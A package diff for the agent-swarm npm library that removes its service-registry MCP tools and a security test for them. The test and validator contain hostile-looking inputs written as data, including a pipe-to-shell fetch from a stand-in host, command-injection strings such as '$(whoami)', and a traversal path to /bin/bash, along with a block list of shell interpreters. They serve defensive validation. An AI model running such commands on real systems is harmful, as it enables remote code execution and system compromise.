@desplega.ai/agent-swarm 1.173.0 → 2.0.0

package/src/tests/register-service-security.test.ts

@@ -1,194 +0,0 @@
-import { afterAll, beforeAll, describe, expect, test } from "bun:test";
-import { unlink } from "node:fs/promises";
-import type { IncomingMessage, ServerResponse } from "node:http";
-import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
-import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js";
-import { closeDb, createAgent, createService, getServiceByAgentAndName, initDb } from "../be/db";
-import { handleEcosystem } from "../http/ecosystem";
-import { registerRegisterServiceTool } from "../tools/register-service";
-
-const TEST_DB_PATH = "./test-register-service-security.sqlite";
-
-const WORKER_ID = "22222222-2222-4222-8222-222222222222";
-const OTHER_WORKER_ID = "33333333-3333-4333-8333-333333333333";
-
-type RegisteredTool = {
-  handler: (args: unknown, extra: unknown) => Promise<CallToolResult>;
-};
-
-function callRegisterService(args: Record<string, unknown>, callerAgentId = WORKER_ID) {
-  const server = new McpServer({ name: "test-register-service", version: "1.0.0" });
-  registerRegisterServiceTool(server);
-
-  const tools = (server as unknown as { _registeredTools: Record<string, RegisteredTool> })
-    ._registeredTools;
-  const tool = tools["register-service"];
-  if (!tool) throw new Error("register-service not registered");
-
-  return tool.handler(args, {
-    sessionId: "test-session",
-    requestInfo: { headers: { "x-agent-id": callerAgentId } },
-  });
-}
-
-function structuredOf(result: CallToolResult) {
-  return result.structuredContent as {
-    success: boolean;
-    message: string;
-    service?: {
-      agentId: string;
-      name: string;
-      script: string;
-      interpreter?: string;
-      args?: string[];
-    };
-  };
-}
-
-async function getEcosystemFor(agentId: string) {
-  let statusCode = 0;
-  let body = "";
-  const req = { method: "GET" } as IncomingMessage;
-  const res = {
-    writeHead(status: number) {
-      statusCode = status;
-      return this;
-    },
-    end(chunk?: unknown) {
-      body = String(chunk ?? "");
-      return this;
-    },
-  } as unknown as ServerResponse;
-
-  const handled = await handleEcosystem(req, res, ["ecosystem"], agentId);
-  return {
-    handled,
-    statusCode,
-    body: JSON.parse(body) as { apps: Array<Record<string, unknown>> },
-  };
-}
-
-beforeAll(async () => {
-  for (const suffix of ["", "-wal", "-shm"]) {
-    try {
-      await unlink(TEST_DB_PATH + suffix);
-    } catch {}
-  }
-  closeDb();
-  initDb(TEST_DB_PATH);
-  await createAgent({ id: WORKER_ID, name: "Test Worker", isLead: false, status: "idle" });
-  await createAgent({ id: OTHER_WORKER_ID, name: "Other Worker", isLead: false, status: "idle" });
-});
-
-afterAll(async () => {
-  closeDb();
-  for (const suffix of ["", "-wal", "-shm"]) {
-    try {
-      await unlink(TEST_DB_PATH + suffix);
-    } catch {}
-  }
-});
-
-describe("register-service security validation", () => {
-  test("registers allowed project scripts under the caller agent", async () => {
-    const result = await callRegisterService({
-      script: "/workspace/services/demo/server.ts",
-      cwd: "/workspace/services/demo",
-      interpreter: "bun",
-      args: ["--host", "0.0.0.0"],
-      env: { NODE_ENV: "test" },
-    });
-
-    const structured = structuredOf(result);
-    expect(structured.success).toBe(true);
-    expect(structured.service?.agentId).toBe(WORKER_ID);
-    expect(structured.service?.name).toBe(WORKER_ID);
-    expect(structured.service?.script).toBe("/workspace/services/demo/server.ts");
-    expect(structured.service?.interpreter).toBe("bun");
-
-    const stored = await getServiceByAgentAndName(WORKER_ID, WORKER_ID);
-    expect(stored?.agentId).toBe(WORKER_ID);
-    expect(stored?.args).toEqual(["--host", "0.0.0.0"]);
-  });
-
-  test("rejects scripts outside allowed roots, including traversal to system shells", async () => {
-    const directShell = structuredOf(
-      await callRegisterService({ script: "/bin/bash" }, OTHER_WORKER_ID),
-    );
-    expect(directShell.success).toBe(false);
-    expect(directShell.message).toContain("script must point to a project file");
-
-    const traversedShell = structuredOf(
-      await callRegisterService({ script: "/workspace/../../bin/bash" }, OTHER_WORKER_ID),
-    );
-    expect(traversedShell.success).toBe(false);
-    expect(traversedShell.message).toContain("script must point to a project file");
-
-    const traversedOutsideWorkspace = structuredOf(
-      await callRegisterService({ script: "/workspace/../tmp/server.js" }, OTHER_WORKER_ID),
-    );
-    expect(traversedOutsideWorkspace.success).toBe(false);
-    expect(traversedOutsideWorkspace.message).toContain(
-      "script must resolve under /workspace/ or /home/worker/",
-    );
-    expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
-  });
-
-  test("rejects shell interpreters", async () => {
-    for (const interpreter of ["bash", "sh", "/bin/bash"]) {
-      const result = await callRegisterService(
-        {
-          script: "/workspace/services/demo/server.ts",
-          interpreter,
-        },
-        OTHER_WORKER_ID,
-      );
-
-      const structured = structuredOf(result);
-      expect(structured.success).toBe(false);
-      expect(structured.message).toContain("interpreter must be one of: node, bun, python3");
-    }
-
-    expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
-  });
-
-  test("rejects shell metacharacters in args before persistence", async () => {
-    for (const arg of [
-      "curl https://example.test | bash",
-      "echo ok; whoami",
-      "echo $(whoami)",
-      "`id`",
-      "line\nbreak",
-    ]) {
-      const result = await callRegisterService(
-        {
-          script: "/workspace/services/demo/server.ts",
-          interpreter: "bun",
-          args: [arg],
-        },
-        OTHER_WORKER_ID,
-      );
-      const structured = structuredOf(result);
-      expect(structured.success).toBe(false);
-      expect(structured.message).toContain("args must not contain shell metacharacters");
-      expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
-    }
-  });
-
-  test("ecosystem config only includes services owned by the requesting agent", async () => {
-    await createService(OTHER_WORKER_ID, OTHER_WORKER_ID, {
-      script: "/workspace/other/server.ts",
-      interpreter: "bun",
-    });
-
-    const { handled, statusCode, body } = await getEcosystemFor(WORKER_ID);
-    expect(handled).toBe(true);
-    expect(statusCode).toBe(200);
-    expect(body.apps).toHaveLength(1);
-    expect(body.apps[0]).toMatchObject({
-      name: WORKER_ID,
-      script: "/workspace/services/demo/server.ts",
-    });
-    expect(body.apps.some((app) => app.name === OTHER_WORKER_ID)).toBe(false);
-  });
-});

package/src/tools/list-services.ts

@@ -1,107 +0,0 @@
-import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
-import * as z from "zod";
-import { getAgentById, getAllServices } from "@/be/db";
-import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
-import { ServiceStatusSchema } from "@/types";
-
-// Loose mirror of ServiceSchema (+ denormalized agentName) for tool output:
-// every field optional, no url/uuid/datetime format pins.
-const serviceWithAgentNameOutputShape = z.looseObject({
-  id: z.string().optional(),
-  agentId: z.string().optional(),
-  name: z.string().optional(),
-  port: z.number().optional(),
-  description: z.string().optional(),
-  url: z.string().optional(),
-  healthCheckPath: z.string().optional(),
-  status: ServiceStatusSchema.optional(),
-  script: z.string().optional(),
-  cwd: z.string().optional(),
-  interpreter: z.string().optional(),
-  args: z.array(z.string()).optional(),
-  env: z.record(z.string(), z.string()).optional(),
-  metadata: z.record(z.string(), z.unknown()).optional(),
-  createdAt: z.string().optional(),
-  lastUpdatedAt: z.string().optional(),
-  agentName: z.string().optional(),
-});
-
-export const registerListServicesTool = (server: McpServer) => {
-  createToolRegistrar(server)(
-    "list-services",
-    {
-      title: "List Services",
-      description:
-        "Query services registered by agents in the swarm. Use this to discover services exposed by other agents.",
-      annotations: { readOnlyHint: true },
-
-      inputSchema: z.object({
-        agentId: z.string().optional().describe("Filter by specific agent ID."),
-        name: z.string().optional().describe("Filter by service name (partial match)."),
-        status: ServiceStatusSchema.optional().describe("Filter by health status."),
-        includeOwn: z
-          .boolean()
-          .default(true)
-          .optional()
-          .describe("Include services registered by calling agent (default: true)."),
-      }),
-      outputSchema: swarmToolOutputSchema({
-        yourAgentId: z.string().optional(),
-        services: z.array(serviceWithAgentNameOutputShape).optional(),
-        count: z.number().optional(),
-      }),
-    },
-    async ({ agentId, name, status, includeOwn }, requestInfo, _meta) => {
-      if (!requestInfo.agentId) {
-        return toolErr('Agent ID not found. Set the "X-Agent-ID" header.', {
-          data: { services: [], count: 0 },
-        });
-      }
-
-      try {
-        let services = await getAllServices({
-          agentId,
-          name,
-          status,
-        });
-
-        // Filter out own services if requested
-        if (includeOwn === false) {
-          services = services.filter((s) => s.agentId !== requestInfo.agentId);
-        }
-
-        // Denormalize agent names
-        const servicesWithAgentNames = await Promise.all(
-          services.map(async (service) => {
-            const agent = await getAgentById(service.agentId);
-            return {
-              ...service,
-              agentName: agent?.name,
-            };
-          }),
-        );
-
-        const count = servicesWithAgentNames.length;
-        const statusSummary =
-          count === 0 ? "No services found." : `Found ${count} service${count === 1 ? "" : "s"}.`;
-
-        // Format for text output
-        const serviceList = servicesWithAgentNames
-          .map(
-            (s) => `- ${s.name} (${s.status}) by ${s.agentName ?? "unknown"}: ${s.url ?? "no URL"}`,
-          )
-          .join("\n");
-
-        return toolOk(statusSummary, {
-          details: count === 0 ? undefined : serviceList,
-          data: { yourAgentId: requestInfo.agentId, services: servicesWithAgentNames, count },
-        });
-      } catch (error) {
-        const message = error instanceof Error ? error.message : "Unknown error";
-        return toolErr(`Failed to list services: ${message}`, {
-          data: { yourAgentId: requestInfo.agentId, services: [], count: 0 },
-        });
-      }
-    },
-  );
-};

package/src/tools/register-service.ts

@@ -1,177 +0,0 @@
-import path from "node:path";
-import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
-import * as z from "zod";
-import { getAgentById, upsertService } from "@/be/db";
-import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
-import { ServiceStatusSchema } from "@/types";
-
-// Loose mirror of ServiceSchema for tool output: every field optional, no
-// url/uuid/datetime format pins.
-const serviceOutputShape = z.looseObject({
-  id: z.string().optional(),
-  agentId: z.string().optional(),
-  name: z.string().optional(),
-  port: z.number().optional(),
-  description: z.string().optional(),
-  url: z.string().optional(),
-  healthCheckPath: z.string().optional(),
-  status: ServiceStatusSchema.optional(),
-  script: z.string().optional(),
-  cwd: z.string().optional(),
-  interpreter: z.string().optional(),
-  args: z.array(z.string()).optional(),
-  env: z.record(z.string(), z.string()).optional(),
-  metadata: z.record(z.string(), z.unknown()).optional(),
-  createdAt: z.string().optional(),
-  lastUpdatedAt: z.string().optional(),
-});
-
-const SWARM_URL = process.env.SWARM_URL ?? "localhost";
-const ALLOWED_SCRIPT_ROOTS = ["/workspace", "/home/worker"];
-const ALLOWED_INTERPRETERS = new Set(["node", "bun", "python3"]);
-const BLOCKED_SCRIPT_BASENAMES = new Set(["bash", "sh", "dash", "zsh", "fish", "ksh"]);
-const BLOCKED_SYSTEM_EXECUTABLE_DIRS = [
-  "/bin/",
-  "/usr/bin/",
-  "/usr/local/bin/",
-  "/sbin/",
-  "/usr/sbin/",
-];
-const ARG_SHELL_METACHARACTER_PATTERN = /[;&|`\n\r]|\$\(/;
-
-function isPathWithinRoot(candidate: string, root: string): boolean {
-  const relative = path.relative(root, candidate);
-  return relative === "" || (!relative.startsWith("..") && !path.isAbsolute(relative));
-}
-
-function validatePathInsideAllowedRoots(value: string, fieldName: "script" | "cwd"): string {
-  if (!path.isAbsolute(value)) {
-    throw new Error(`${fieldName} must be an absolute path under /workspace/ or /home/worker/`);
-  }
-
-  const resolved = path.resolve(value);
-  if (BLOCKED_SYSTEM_EXECUTABLE_DIRS.some((dir) => resolved.startsWith(dir))) {
-    throw new Error(
-      `${fieldName} must point to a project file under /workspace/ or /home/worker/, not a system executable`,
-    );
-  }
-
-  if (fieldName === "script" && BLOCKED_SCRIPT_BASENAMES.has(path.basename(resolved))) {
-    throw new Error(`${fieldName} must not point to a shell executable`);
-  }
-
-  if (!ALLOWED_SCRIPT_ROOTS.some((root) => isPathWithinRoot(resolved, root))) {
-    throw new Error(`${fieldName} must resolve under /workspace/ or /home/worker/`);
-  }
-
-  return resolved;
-}
-
-function validateInterpreter(interpreter: string | undefined): string | undefined {
-  if (interpreter === undefined) return undefined;
-  if (!ALLOWED_INTERPRETERS.has(interpreter)) {
-    throw new Error("interpreter must be one of: node, bun, python3");
-  }
-  return interpreter;
-}
-
-function validateArgs(args: string[] | undefined): string[] | undefined {
-  if (!args) return undefined;
-  const unsafeArg = args.find((arg) => ARG_SHELL_METACHARACTER_PATTERN.test(arg));
-  if (unsafeArg !== undefined) {
-    throw new Error(
-      `args must not contain shell metacharacters (;, &, |, $(...), backticks, or newlines): ${unsafeArg}`,
-    );
-  }
-  return args;
-}
-
-export const registerRegisterServiceTool = (server: McpServer) => {
-  createToolRegistrar(server)(
-    "register-service",
-    {
-      title: "Register Service",
-      description:
-        "Register a background service (e.g., PM2 process) for discovery by other agents. The service URL is automatically derived from your agent ID (https://{AGENT_ID}.{SWARM_URL}). Each agent can only run one service on port 3000.",
-      annotations: { idempotentHint: true },
-
-      inputSchema: z.object({
-        script: z.string().min(1).describe("Path to the script to run (required for PM2 restart)."),
-        description: z.string().optional().describe("What this service does."),
-        healthCheckPath: z
-          .string()
-          .optional()
-          .describe("Health check endpoint path (default: /health)."),
-        cwd: z.string().optional().describe("Working directory for the script."),
-        interpreter: z
-          .string()
-          .optional()
-          .describe(
-            "Interpreter to use (e.g., 'node', 'bun'). Auto-detected from extension if not set.",
-          ),
-        args: z.array(z.string()).optional().describe("Command line arguments for the script."),
-        env: z
-          .record(z.string(), z.string())
-          .optional()
-          .describe("Environment variables for the process."),
-        metadata: z.record(z.string(), z.unknown()).optional().describe("Additional metadata."),
-      }),
-      outputSchema: swarmToolOutputSchema({
-        yourAgentId: z.string().optional(),
-        service: serviceOutputShape.optional(),
-      }),
-    },
-    async (
-      { script, description, healthCheckPath, cwd, interpreter, args, env, metadata },
-      requestInfo,
-      _meta,
-    ) => {
-      if (!requestInfo.agentId) {
-        return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
-      }
-
-      try {
-        // Look up the agent to get its name
-        const agent = await getAgentById(requestInfo.agentId);
-        if (!agent) {
-          return toolErr("Agent not found. Join the swarm first.", {
-            data: { yourAgentId: requestInfo.agentId },
-          });
-        }
-
-        // Service name uses agent ID (stable, URL-safe) for subdomain
-        const serviceName = agent.id;
-        const servicePort = 3000; // Fixed port - only one service per worker
-        const url = `https://${serviceName}.${SWARM_URL}`;
-        const safeScript = validatePathInsideAllowedRoots(script, "script");
-        const safeCwd = cwd ? validatePathInsideAllowedRoots(cwd, "cwd") : undefined;
-        const safeInterpreter = validateInterpreter(interpreter);
-        const safeArgs = validateArgs(args);
-
-        // Upsert: create or update if exists
-        const service = await upsertService(requestInfo.agentId, serviceName, {
-          script: safeScript,
-          port: servicePort,
-          description,
-          url,
-          healthCheckPath: healthCheckPath ?? "/health",
-          cwd: safeCwd,
-          interpreter: safeInterpreter,
-          args: safeArgs,
-          env,
-          metadata,
-        });
-
-        return toolOk(
-          `Registered service "${serviceName}" at ${url}. Status: ${service.status}. Use update-service-status to mark as healthy.`,
-          { data: { yourAgentId: requestInfo.agentId, service } },
-        );
-      } catch (error) {
-        const message = error instanceof Error ? error.message : "Unknown error";
-        return toolErr(`Failed to register service: ${message}`, {
-          data: { yourAgentId: requestInfo.agentId },
-        });
-      }
-    },
-  );
-};

package/src/tools/unregister-service.ts

@@ -1,73 +0,0 @@
-import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
-import * as z from "zod";
-import { deleteService, getServiceByAgentAndName, getServiceById } from "@/be/db";
-import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
-
-export const registerUnregisterServiceTool = (server: McpServer) => {
-  createToolRegistrar(server)(
-    "unregister-service",
-    {
-      title: "Unregister Service",
-      description:
-        "Remove a service from the registry. Use this after stopping a PM2 process. You can only unregister your own services.",
-      annotations: { destructiveHint: true },
-
-      inputSchema: z.object({
-        serviceId: z.uuid().optional().describe("Service ID to unregister."),
-        name: z
-          .string()
-          .optional()
-          .describe("Service name to unregister (alternative to serviceId)."),
-      }),
-      outputSchema: swarmToolOutputSchema({
-        yourAgentId: z.string().optional(),
-      }),
-    },
-    async ({ serviceId, name }, requestInfo, _meta) => {
-      if (!requestInfo.agentId) {
-        return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
-      }
-
-      if (!serviceId && !name) {
-        return toolErr("Either serviceId or name is required.", {
-          data: { yourAgentId: requestInfo.agentId },
-        });
-      }
-
-      try {
-        // Find the service
-        let service = serviceId ? await getServiceById(serviceId) : null;
-        if (!service && name) {
-          service = await getServiceByAgentAndName(requestInfo.agentId, name);
-        }
-
-        if (!service) {
-          return toolErr("Service not found.", { data: { yourAgentId: requestInfo.agentId } });
-        }
-
-        // Check ownership
-        if (service.agentId !== requestInfo.agentId) {
-          return toolErr("You can only unregister your own services.", {
-            data: { yourAgentId: requestInfo.agentId },
-          });
-        }
-
-        const deleted = await deleteService(service.id);
-        if (!deleted) {
-          return toolErr("Failed to unregister service.", {
-            data: { yourAgentId: requestInfo.agentId },
-          });
-        }
-
-        return toolOk(`Unregistered service "${service.name}".`, {
-          data: { yourAgentId: requestInfo.agentId },
-        });
-      } catch (error) {
-        const message = error instanceof Error ? error.message : "Unknown error";
-        return toolErr(`Failed to unregister service: ${message}`, {
-          data: { yourAgentId: requestInfo.agentId },
-        });
-      }
-    },
-  );
-};

package/src/tools/update-service-status.ts

@@ -1,96 +0,0 @@
-import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
-import * as z from "zod";
-import { getServiceByAgentAndName, getServiceById, updateServiceStatus } from "@/be/db";
-import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
-import { ServiceStatusSchema } from "@/types";
-
-// Loose mirror of ServiceSchema for tool output: every field optional, no
-// url/uuid/datetime format pins.
-const serviceOutputShape = z.looseObject({
-  id: z.string().optional(),
-  agentId: z.string().optional(),
-  name: z.string().optional(),
-  port: z.number().optional(),
-  description: z.string().optional(),
-  url: z.string().optional(),
-  healthCheckPath: z.string().optional(),
-  status: ServiceStatusSchema.optional(),
-  script: z.string().optional(),
-  cwd: z.string().optional(),
-  interpreter: z.string().optional(),
-  args: z.array(z.string()).optional(),
-  env: z.record(z.string(), z.string()).optional(),
-  metadata: z.record(z.string(), z.unknown()).optional(),
-  createdAt: z.string().optional(),
-  lastUpdatedAt: z.string().optional(),
-});
-
-export const registerUpdateServiceStatusTool = (server: McpServer) => {
-  createToolRegistrar(server)(
-    "update-service-status",
-    {
-      title: "Update Service Status",
-      description:
-        "Update the health status of a registered service. Use this after a service becomes healthy or needs to be marked as stopped/unhealthy.",
-      annotations: { idempotentHint: true },
-
-      inputSchema: z.object({
-        serviceId: z.uuid().optional().describe("Service ID to update."),
-        name: z.string().optional().describe("Service name to update (alternative to serviceId)."),
-        status: ServiceStatusSchema.describe(
-          "New status: 'starting', 'healthy', 'unhealthy', or 'stopped'.",
-        ),
-      }),
-      outputSchema: swarmToolOutputSchema({
-        yourAgentId: z.string().optional(),
-        service: serviceOutputShape.optional(),
-      }),
-    },
-    async ({ serviceId, name, status }, requestInfo, _meta) => {
-      if (!requestInfo.agentId) {
-        return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
-      }
-
-      if (!serviceId && !name) {
-        return toolErr("Either serviceId or name is required.", {
-          data: { yourAgentId: requestInfo.agentId },
-        });
-      }
-
-      try {
-        // Find the service
-        let service = serviceId ? await getServiceById(serviceId) : null;
-        if (!service && name) {
-          service = await getServiceByAgentAndName(requestInfo.agentId, name);
-        }
-
-        if (!service) {
-          return toolErr("Service not found.", { data: { yourAgentId: requestInfo.agentId } });
-        }
-
-        // Check ownership
-        if (service.agentId !== requestInfo.agentId) {
-          return toolErr("You can only update status of your own services.", {
-            data: { yourAgentId: requestInfo.agentId },
-          });
-        }
-
-        const updated = await updateServiceStatus(service.id, status);
-        if (!updated) {
-          return toolErr("Failed to update service status.", {
-            data: { yourAgentId: requestInfo.agentId },
-          });
-        }
-
-        return toolOk(`Updated service "${service.name}" status to "${status}".`, {
-          data: { yourAgentId: requestInfo.agentId, service: updated },
-        });
-      } catch (error) {
-        const message = error instanceof Error ? error.message : "Unknown error";
-        return toolErr(`Failed to update service status: ${message}`, {
-          data: { yourAgentId: requestInfo.agentId },
-        });
-      }
-    },
-  );
-};

package/templates/skills/artifacts/config.json

@@ -1,14 +0,0 @@
-{
-  "kind": "skill",
-  "name": "artifacts",
-  "displayName": "Artifacts",
-  "slug": "artifacts",
-  "title": "Artifacts",
-  "description": "Store durable task outputs (reports, screenshots, exports, logs) in agent-fs or the shared workspace, and serve interactive web content to a public auth-protected URL via localtunnel. Use when asked to save evidence for a PR/ticket, share a file, \"create an artifact for X\", \"host this for me\", \"spin up a web server\", or \"give me a live link\". Covers agent-fs writes and verification, binary uploads, naming and attachment conventions, the `agent-swarm artifact` CLI, Hono apps, PM2 daemonization, HTTP Basic auth, and the injected browser SDK.",
-  "version": "2.0.0",
-  "category": "skills",
-  "placeholders": [],
-  "runAllSeedersCandidate": true,
-  "systemDefault": false,
-  "tags": ["artifacts", "evidence", "qa", "agent-fs", "serving", "tunnel"]
-}